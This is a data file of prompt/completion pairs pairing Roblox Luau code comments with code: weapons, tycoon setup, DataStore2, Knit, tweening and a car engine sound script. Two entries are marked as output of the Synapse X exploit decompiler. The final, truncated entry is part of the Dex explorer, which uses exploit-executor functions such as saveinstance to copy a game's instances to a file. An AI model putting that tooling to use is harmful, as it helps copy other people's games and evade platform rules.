prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-------------------------------------------------------------------------------------- --------------------[ VARIABLES ]----------------------------------------------------- --------------------------------------------------------------------------------------
local Selected = false local Idleing = false local Walking = false local Running = false local Aimed = false local Aiming = false local Reloading = false local BreakReload = false local Knifing = false local ThrowingGrenade = false local MB1_Down = false local CanFire = true local KnifeReady = true local CanRun = true local RunTween = false local Run_Key_Pressed = false local ChargingStamina = false local AimingIn = false local AimingOut = false local Stamina = S.SprintTime * 60 local CurrentSteadyTime = S.ScopeSteadyTime * 60 local CameraSteady = false local TakingBreath = false local Grip = nil local Aimed_GripCF = nil local Gui_Clone = nil local CurrentSpread = S.Spread.Hipfire local CurrentRecoil = S.Recoil.Hipfire local AmmoInClip = 0 local Stance = 0 local StanceSway = 1 local CameraSway = 1 local HeadRot = 0 local ArmTilt = 0 local LastBeat = 0 local Parts = {} local Connections = {} local PrevNeckCF = { C0 = nil; C1 = nil; } local Keys = {}
-- Config
local Config = Plr:WaitForChild("Backpack"):WaitForChild("Config") local Playing = Config:WaitForChild("Playing")
--[[* * `ReactInstanceMap` maintains a mapping from a public facing stateful * instance (key) and the internal representation (value). This allows public * methods to accept the user facing instance as an argument and map them back * to internal methods. * * Note that this module is currently shared and assumed to be stateless. * If this becomes an actual Map, that will break. ]]
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader")) local Defaults = GuiLib:WaitForChild("Defaults") local UIS = game:GetService("UserInputService") local RUNSERVICE = game:GetService("RunService") local CONSTANTS = require(script:WaitForChild("CONSTANTS")) local PI = math.pi local TAU = CONSTANTS.TAU local EX_OFFSET = CONSTANTS.EX_OFFSET local GAMEPAD_CLICK = { [Enum.KeyCode.ButtonA] = true } local MOUSE_GROUP = { [Enum.UserInputType.MouseButton1] = true, [Enum.UserInputType.MouseMovement] = true, [Enum.UserInputType.Touch] = true } local GAMEPAD_GROUP = { [Enum.UserInputType.Gamepad1] = true, [Enum.UserInputType.Gamepad2] = true, [Enum.UserInputType.Gamepad3] = true, [Enum.UserInputType.Gamepad4] = true, [Enum.UserInputType.Gamepad5] = true, [Enum.UserInputType.Gamepad6] = true, [Enum.UserInputType.Gamepad7] = true, [Enum.UserInputType.Gamepad8] = true } local CreateRadial = require(script:WaitForChild("CreateRadial"))
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = BrickColor.new("Black") bullet.Shape = Enum.PartType.Block bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) local shell = Instance.new("Part") shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0) shell.Size = Vector3.new(1,1,1) shell.BrickColor = BrickColor.new(226) shell.Parent = game.Workspace shell.CFrame = script.Parent.Handle.CFrame shell.CanCollide = false shell.Transparency = 0 shell.BottomSurface = 0 shell.TopSurface = 0 shell.Name = "Shell" shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20)) shell.RotVelocity = Vector3.new(0,200,0) DebrisService:AddItem(shell, 1) local shellmesh = Instance.new("SpecialMesh") shellmesh.Scale = Vector3.new(.15,.4,.15) shellmesh.Parent = shell return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end if ReloadTrack then ReloadTrack:Play() end script.Parent.Handle.Reload:Play() wait(ReloadTime) -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) --WeaponGui.Reload.Visible = false if ReloadTrack then ReloadTrack:Stop() end end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Pitch.Pitch = .8 + (math.random() * .5) Handle.FireSound:Play() Handle.Flash.Enabled = true flare.MuzzleFlash.Enabled = true --Handle.Smoke.Enabled=true --This is optional end if MyMouse then local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Handle.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil WeaponGui.Crosshair.Hit:Play() --bullet.Transparency = 1 end spawn(UpdateTargetHit) end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end wait(FireRate) end Handle.Flash.Enabled = false IsShooting = false flare.MuzzleFlash.Enabled = false --Handle.Smoke.Enabled=false --This is optional if AmmoInClip == 0 then Handle.Tick:Play() --WeaponGui.Reload.Visible = true Reload() end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() if RecoilTrack then RecoilTrack:Stop() end end end function OnEquipped(mouse) Handle.EquipSound:Play() Handle.EquipSound2:Play() Handle.UnequipSound:Stop() RecoilAnim = WaitForChild(Tool, 'Recoil') ReloadAnim = WaitForChild(Tool, 'Reload') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if ReloadAnim then ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
--- Recalculate the window height
function Window:UpdateWindowHeight() local numLines = 0 for _, child in pairs(Gui:GetChildren()) do if child:IsA("GuiObject") then numLines = numLines + 1 end end local windowHeight = (numLines * LINE_HEIGHT) + 20 Gui.CanvasSize = UDim2.new(Gui.CanvasSize.X.Scale, Gui.CanvasSize.X.Offset, 0, windowHeight) Gui.Size = UDim2.new( Gui.Size.X.Scale, Gui.Size.X.Offset, 0, windowHeight > WINDOW_MAX_HEIGHT and WINDOW_MAX_HEIGHT or windowHeight ) Gui.CanvasPosition = Vector2.new(0, math.clamp(windowHeight - 300, 0, math.huge)) end
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then local teamHire = Instance.new('Team', Teams) teamHire.TeamColor = BC.new('White') teamHire.Name = "FOR HIRE" end for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names if returnColorTaken(v.TeamColor) then --//Handle duplicate team colors local newColor; repeat wait() newColor = BC.Random() until returnColorTaken(newColor) == false v.TeamColor.Value = newColor end --Now that there are for sure no duplicates, make your teams local NewTeam = Instance.new('Team',Teams) NewTeam.Name = v.Name NewTeam.TeamColor = v.TeamColor.Value if not Settings['AutoAssignTeams'] then NewTeam.AutoAssignable = false end v.PurchaseHandler.Disabled = false end function getPlrTycoon(player) for i,v in pairs(script.Parent.Tycoons:GetChildren()) do if v:IsA("Model") then if v.Owner.Value == player then return v end end end return nil end game.Players.PlayerAdded:connect(function(player) local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney) plrStats.Name = player.Name local isOwner = Instance.new("ObjectValue",plrStats) isOwner.Name = "OwnsTycoon" end) game.Players.PlayerRemoving:connect(function(player) local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name) if plrStats ~= nil then plrStats:Destroy() end local tycoon = getPlrTycoon(player) if tycoon then local backup = Tycoons[tycoon.Name]:Clone() tycoon:Destroy() wait() backup.Parent=script.Parent.Tycoons end end)
--[[ Linearly interpolates the given animatable types by a ratio. If the types are different or not animatable, then the first value will be returned for ratios below 0.5, and the second value for 0.5 and above. FIXME: This function uses a lot of redefinitions to suppress false positives from the Luau typechecker - ideally these wouldn't be required ]]
local Oklab = require(script.Parent.Parent.Parent.Parent.Colour.Oklab) local function lerpType(from: any, to: any, ratio: number): any local typeString = typeof(from) if typeof(to) == typeString then -- both types must match for interpolation to make sense if typeString == "number" then local to, from = to :: number, from :: number return (to - from) * ratio + from elseif typeString == "CFrame" then local to, from = to :: CFrame, from :: CFrame return from:Lerp(to, ratio) elseif typeString == "Color3" then local to, from = to :: Color3, from :: Color3 local fromLab = Oklab.to(from) local toLab = Oklab.to(to) return Oklab.from( fromLab:Lerp(toLab, ratio), false ) elseif typeString == "ColorSequenceKeypoint" then local to, from = to :: ColorSequenceKeypoint, from :: ColorSequenceKeypoint local fromLab = Oklab.to(from.Value) local toLab = Oklab.to(to.Value) return ColorSequenceKeypoint.new( (to.Time - from.Time) * ratio + from.Time, Oklab.from( fromLab:Lerp(toLab, ratio), false ) ) elseif typeString == "DateTime" then local to, from = to :: DateTime, from :: DateTime return DateTime.fromUnixTimestampMillis( (to.UnixTimestampMillis - from.UnixTimestampMillis) * ratio + from.UnixTimestampMillis ) elseif typeString == "NumberRange" then local to, from = to :: NumberRange, from :: NumberRange return NumberRange.new( (to.Min - from.Min) * ratio + from.Min, (to.Max - from.Max) * ratio + from.Max ) elseif typeString == "NumberSequenceKeypoint" then local to, from = to :: NumberSequenceKeypoint, from :: NumberSequenceKeypoint return NumberSequenceKeypoint.new( (to.Time - from.Time) * ratio + from.Time, (to.Value - from.Value) * ratio + from.Value, (to.Envelope - from.Envelope) * ratio + from.Envelope ) elseif typeString == "PhysicalProperties" then local to, from = to :: PhysicalProperties, from :: PhysicalProperties return PhysicalProperties.new( (to.Density - from.Density) * ratio + from.Density, (to.Friction - from.Friction) * ratio + from.Friction, (to.Elasticity - from.Elasticity) * ratio + from.Elasticity, (to.FrictionWeight - from.FrictionWeight) * ratio + from.FrictionWeight, (to.ElasticityWeight - from.ElasticityWeight) * ratio + from.ElasticityWeight ) elseif typeString == "Ray" then local to, from = to :: Ray, from :: Ray return Ray.new( from.Origin:Lerp(to.Origin, ratio), from.Direction:Lerp(to.Direction, ratio) ) elseif typeString == "Rect" then local to, from = to :: Rect, from :: Rect return Rect.new( from.Min:Lerp(to.Min, ratio), from.Max:Lerp(to.Max, ratio) ) elseif typeString == "Region3" then local to, from = to :: Region3, from :: Region3 -- FUTURE: support rotated Region3s if/when they become constructable local position = from.CFrame.Position:Lerp(to.CFrame.Position, ratio) local halfSize = from.Size:Lerp(to.Size, ratio) / 2 return Region3.new(position - halfSize, position + halfSize) elseif typeString == "Region3int16" then local to, from = to :: Region3int16, from :: Region3int16 return Region3int16.new( Vector3int16.new( (to.Min.X - from.Min.X) * ratio + from.Min.X, (to.Min.Y - from.Min.Y) * ratio + from.Min.Y, (to.Min.Z - from.Min.Z) * ratio + from.Min.Z ), Vector3int16.new( (to.Max.X - from.Max.X) * ratio + from.Max.X, (to.Max.Y - from.Max.Y) * ratio + from.Max.Y, (to.Max.Z - from.Max.Z) * ratio + from.Max.Z ) ) elseif typeString == "UDim" then local to, from = to :: UDim, from :: UDim return UDim.new( (to.Scale - from.Scale) * ratio + from.Scale, (to.Offset - from.Offset) * ratio + from.Offset ) elseif typeString == "UDim2" then local to, from = to :: UDim2, from :: UDim2 return from:Lerp(to, ratio) elseif typeString == "Vector2" then local to, from = to :: Vector2, from :: Vector2 return from:Lerp(to, ratio) elseif typeString == "Vector2int16" then local to, from = to :: Vector2int16, from :: Vector2int16 return Vector2int16.new( (to.X - from.X) * ratio + from.X, (to.Y - from.Y) * ratio + from.Y ) elseif typeString == "Vector3" then local to, from = to :: Vector3, from :: Vector3 return from:Lerp(to, ratio) elseif typeString == "Vector3int16" then local to, from = to :: Vector3int16, from :: Vector3int16 return Vector3int16.new( (to.X - from.X) * ratio + from.X, (to.Y - from.Y) * ratio + from.Y, (to.Z - from.Z) * ratio + from.Z ) end end -- fallback case: the types are different or not animatable if ratio < 0.5 then return from else return to end end return lerpType
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
UseCommonVisualEffects = true; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects) AutoReload = true; --Reload automatically when you run out of mag; disabling it will make you reload manually CancelReload = true; --Exit reload state when you fire the gun DirectShootingAt = "None"; --"FirstPerson", "ThirdPerson" or "Both". Make bullets go straight from the fire point instead of going to input position. NOTE: Set to "None" to disable this --Check "DualWeldEnabled" for detail PrimaryHandle = "Handle"; SecondaryHandle = "Handle2"; CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first CustomGripName = "Handle"; CustomGripPart0 = {"Character", "Right Arm"}; --Base CustomGripPart1 = {"Tool", "Handle"}; --Target AlignC0AndC1FromDefaultGrip = true; CustomGripCFrame = false; CustomGripC0 = CFrame.new(0, 0, 0); CustomGripC1 = CFrame.new(0, 0, 0); --CustomGripPart[0/1] = {Ancestor, InstanceName} --Supported ancestors: Tool, Character --NOTE: Don't set "CustomGripName" to "RightGrip"
--[=[ Gets and sets the current velocity of the AccelTween @prop v number @within AccelTween ]=]
-- Setup animation objects
function scriptChildModified(child) local fileList = animNames[child.Name] if fileList then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
--[=[ @param object T Add an object to the queue. ]=]
function TaskQueue:Add<T>(object: T) table.insert(self._queue, object) if not self._flushingScheduled then self._flushingScheduled = true task.defer(function() if not self._flushingScheduled then return end self._flushing = true self._onFlush(self._queue) table.clear(self._queue) self._flushing = false self._flushingScheduled = false end) end end
----- Properties to Change -----
local BigScreenStroke = script.BigScreenStrokeValue.Value local SmallScreenStroke = script.SmallScreenStrokeValue.Value local SuperSmallScreenStroke = script.SmallScreenStrokeValue.Value
--script.Parent.Parent.Mover1.part.Anchored = true
script.Parent.Parent.Mover1.part.PrismaticConstraint.Speed = 0 script.Parent.Parent.Mover1.part.PrismaticConstraint.TargetPosition = script.Parent.Parent.Mover1.part.PrismaticConstraint.CurrentPosition
-- Folder
local animFold = rp.Storage.Animations local loadedAnims = {} local module = {}
-- // VARIABLES \\ --
local Shadow = script.Parent local RunAnim = script.RunAnim local Humanoid = script.Parent:WaitForChild("Humanoid") local SprintAnim = Humanoid:LoadAnimation(RunAnim) local Debounce = false
-- Decompiled with the Synapse X Luau decompiler.
tool = script.Parent; while not tool:FindFirstChild("WeldProfile") do wait(); end; profile = tool.WeldProfile; function reweld() local v1, v2, v3 = pairs(profile:GetChildren()); while true do local v4, v5 = v1(v2, v3); if v4 then else break; end; v3 = v4; local l__Value__6 = v5.Value; l__Value__6:BreakJoints(); local v7 = Instance.new("ManualWeld"); v7.Name = "HandleWeld"; v7.Part0 = l__Value__6; v7.Part1 = profile.Value; v7.C0 = v5.C0.Value; v7.C1 = v5.C1.Value; v7.Parent = game.JointsService; end; end; tool.AncestryChanged:connect(reweld); reweld();
--[=[ Gets the controller by name. Throws an error if the controller is not found. ]=]
function KnitClient.GetController(controllerName: string): Controller local controller = controllers[controllerName] if controller then return controller end assert(started, "Cannot call GetController until Knit has been started") assert(type(controllerName) == "string", `ControllerName must be a string; got {type(controllerName)}`) error(`Could not find controller "{controllerName}". Check to verify a controller with this name exists.`, 2) end
--< Constants >--
local Player = Players.LocalPlayer local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local Camera = workspace.CurrentCamera local DefaultFieldOFView = Camera.FieldOfView local DefaultWalkingSpeed = Humanoid.WalkSpeed
--[[** <description> Run this once to combine all keys provided into one "main key". Internally, this means that data will be stored in a table with the key mainKey. This is used to get around the 2-DataStore2 reliability caveat. </description> <parameter name = "mainKey"> The key that will be used to house the table. </parameter> <parameter name = "..."> All the keys to combine under one table. </parameter> **--]]
function DataStore2.Combine(mainKey, ...) for _, name in pairs({...}) do combinedDataStoreInfo[name] = mainKey end end function DataStore2.ClearCache() DataStoreCache = {} end function DataStore2:__call(dataStoreName, player) assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player))) if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then return DataStoreCache[player][dataStoreName] elseif combinedDataStoreInfo[dataStoreName] then local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player) dataStore:BeforeSave(function(combinedData) for key in pairs(combinedData) do if combinedDataStoreInfo[key] then local combinedStore = DataStore2(key, player) local value = combinedStore:Get(nil, true) if value ~= nil then if combinedStore.combinedBeforeSave then value = combinedStore.combinedBeforeSave(clone(value)) end combinedData[key] = value end end end return combinedData end) local combinedStore = setmetatable({ combinedName = dataStoreName, combinedStore = dataStore }, { __index = function(self, key) return CombinedDataStore[key] or dataStore[key] end }) if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = combinedStore return combinedStore end local dataStore = {} local dataStoreKey = dataStoreName .. "/" .. player.UserId dataStore.dataStore = DataStoreService:GetDataStore(dataStoreKey) dataStore.orderedDataStore = DataStoreService:GetOrderedDataStore(dataStoreKey) dataStore.name = dataStoreName dataStore.player = player dataStore.callbacks = {} dataStore.beforeInitialGet = {} dataStore.afterSave = {} dataStore.bindToClose = {} setmetatable(dataStore, DataStoreMetatable) local event, fired = Instance.new("BindableEvent"), false game:BindToClose(function() if not fired then event.Event:wait() end local value = dataStore:Get(nil, true) for _, bindToClose in pairs(dataStore.bindToClose) do bindToClose(player, value) end end) Players.PlayerRemoving:connect(function(playerLeaving) if playerLeaving == player then dataStore:Save() event:Fire() fired = true delay(40, function() --Give a long delay for people who haven't figured out the cache :^( DataStoreCache[playerLeaving] = nil end) end end) --[[spawn(function() player:WaitForChild("ClientSaveRequest") function player.ClientSaveRequest.OnServerInvoke() dataStore:Save() return end end)]] if not DataStoreCache[player] then DataStoreCache[player] = {} end DataStoreCache[player][dataStoreName] = dataStore return dataStore end return setmetatable(DataStore2, DataStore2)
--script.Parent.Parent.Parent.Sensortwo.Move.Disabled = false
script.Parent.Parent.Parent.WinSensor.Script.Disabled = false
--[=[ @class Component Bind components to Roblox instances using the Component class and CollectionService tags. ]=]
local Component = {} Component.__index = Component
--!strict
type Match = { index: number, match: string, } local function findOr(str: string, patternTable: { string }, initIndex: number?): Match | nil -- loop through all options in patern patternTable local init = utf8.offset(str, initIndex or 1) local matches = {} for _, value in ipairs(patternTable) do local iStart, iEnd = string.find(str, value, init) if iStart then local prefix = string.sub(str, 1, iStart - 1) local prefixEnd, invalidBytePosition = utf8.len(prefix) if prefixEnd == nil then error(("string `%s` has an invalid byte at position %s"):format(prefix, tostring(invalidBytePosition))) end local iStartIndex = prefixEnd :: number + 1 local match = { index = iStartIndex, match = string.sub(str, iStart, iEnd), } table.insert(matches, match) end end -- if no matches, return nil if #matches == 0 then return nil end -- find the first matched index (after the init param) -- for each, if we get a hit, return the earliest index and matched term local firstMatch for _, value in ipairs(matches) do -- load first condition if firstMatch == nil then firstMatch = value end -- identify if current match comes before first match if value.index < firstMatch.index then firstMatch = value end end -- return first match return firstMatch end return findOr
--local Anim = script.Parent.AnimationController:LoadAnimation(game.ReplicatedStorage.Pets.Settings.WalkAnim) --local AnimPlay = false
if Player then while wait() do if Player.Character:FindFirstChild("HumanoidRootPart") then local Pos = script.Parent.Pos.Value local CoinPos = script.Parent.CoinPos.Value local BG = script.Parent.BodyGyro local BP = script.Parent.BodyPosition local d = Player.Character.HumanoidRootPart.Position.Y - script.Parent.Position.Y if script.Parent.Selected.Value == 0 then local Stats = require(game.ReplicatedStorage.Assets.Pets:FindFirstChild(script.Parent.PetName.Value)["Pet Data"]) if Stats.fly == true then BP.Position = (Player.Character.HumanoidRootPart.Position + Pos) - Vector3.new(0,2,0) + Vector3.new(0,script.Parent.Size.Y/2,0) + Vector3.new(0, game.ServerScriptService.globalPetFloat.Value, 0) if Player.Walking.Value == false then BG.CFrame = CFrame.new(script.Parent.Position, Player.Character.HumanoidRootPart.Position - Vector3.new(0, d, 0)) else BG.CFrame = Player.Character.HumanoidRootPart.CFrame end else BP.Position = (Player.Character.HumanoidRootPart.Position + Pos) - Vector3.new(0,3.4,0) + Vector3.new(0,script.Parent.Size.Y/2,0) if Player.Walking.Value == false then BG.CFrame = CFrame.new(script.Parent.Position, Player.Character.HumanoidRootPart.Position - Vector3.new(0, d, 0)) else BG.CFrame = Player.Character.HumanoidRootPart.CFrame end end else BP.Position = (workspace.CoinFolder[script.Parent.Selected.Value].Position + CoinPos) - Vector3.new(0,workspace.CoinFolder[script.Parent.Selected.Value].Size.Y/2,0) + Vector3.new(0,script.Parent.Size.Y/2,0) BG.CFrame = CFrame.new(script.Parent.Position, workspace.CoinFolder[script.Parent.Selected.Value].Position - Vector3.new(0, 0, 0)) end end end end
--// Hash: 88a45019b6f79cfdc71424fff47b83927baa4c5e15d680e491900085e4daf0f2c10b403598e03f7c502ea0b5ef79031b -- Decompiled with the Synapse X Luau decompiler.
local v1 = { Revive1 = 1286521615, Revive5 = 1288445778, Knobs250 = 1288448939, Knobs600 = 1288449065, Knobs1300 = 1288449315, Knobs2800 = 1288449386, Knobs6000 = 1297326833, Knobs16000 = 1297327030, Knobs1000000 = 1297328308, BoostKnobs = 1293421321 }; for v2, v3 in pairs(v1) do v1[v3] = v2; end; return v1;
--[[ Loads all ModuleScripts within the given parent. Loader.LoadChildren(parent: Instance): module[] Loader.LoadDescendants(parent: Instance): module[] --]]
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,0,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (on*(15*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
-- Creates a new tree node from an object. Called when an object starts -- existing in the game tree.
local function addObject(object,noupdate) if script then -- protect against naughty RobloxLocked objects local s = pcall(check,object) if not s then return end end local parentNode = NodeLookup[object.Parent] if not parentNode then return end local objectNode = { Object = object; Parent = parentNode; Index = 0; Expanded = false; Selected = false; Depth = depth(object); } connLookup[object] = Connect(object.AncestryChanged,function(c,p) if c == object then if p == nil then removeObject(c) else moveObject(c,p) end end end) NodeLookup[object] = objectNode insert(parentNode,#parentNode+1,objectNode) if not noupdate then if nodeIsVisible(objectNode) then updateList() elseif nodeIsVisible(objectNode.Parent) then updateScroll() end end end local function makeObject(obj,par) local newObject = Instance.new(obj.ClassName) for i,v in pairs(obj.Properties) do ypcall(function() local newProp newProp = ToPropValue(v.Value,v.Type) newObject[v.Name] = newProp end) end newObject.Parent = par end local function writeObject(obj) local newObject = {ClassName = obj.ClassName, Properties = {}} for i,v in pairs(RbxApi.GetProperties(obj.className)) do if v["Name"] ~= "Parent" then print("thispassed") table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])}) end end return newObject end local function buildDexStorage() local localDexStorage local success,err = ypcall(function() localDexStorage = game:GetObjects("rbxasset://DexStorage.rbxm")[1] end) if success and localDexStorage then for i,v in pairs(localDexStorage:GetChildren()) do ypcall(function() v.Parent = DexStorageMain end) end end updateDexStorageListeners() --[[ local localDexStorage = readfile(getelysianpath().."DexStorage.txt")--game:GetService("CookiesService"):GetCookieValue("DexStorage") --local success,err = pcall(function() if localDexStorage then local objTable = game:GetService("HttpService"):JSONDecode(localDexStorage) for i,v in pairs(objTable) do makeObject(v,DexStorageMain) end end --end) --]] end local dexStorageDebounce = false local dexStorageListeners = {} local function updateDexStorage() if dexStorageDebounce then return end dexStorageDebounce = true wait() pcall(function() saveinstance("content//DexStorage.rbxm",DexStorageMain) end) updateDexStorageListeners() dexStorageDebounce = false --[[ local success,err = ypcall(function() local objs = {} for i,v in pairs(DexStorageMain:GetChildren()) do table.insert(objs,writeObject(v)) end writefile(getelysianpath().."DexStorage.txt",game:GetService("HttpService"):JSONEncode(objs)) --game:GetService("CookiesService"):SetCookieValue("DexStorage",game:GetService("HttpService"):JSONEncode(objs)) end) if err then CreateCaution("DexStorage Save Fail!","DexStorage broke! If you see this message, report to Raspberry 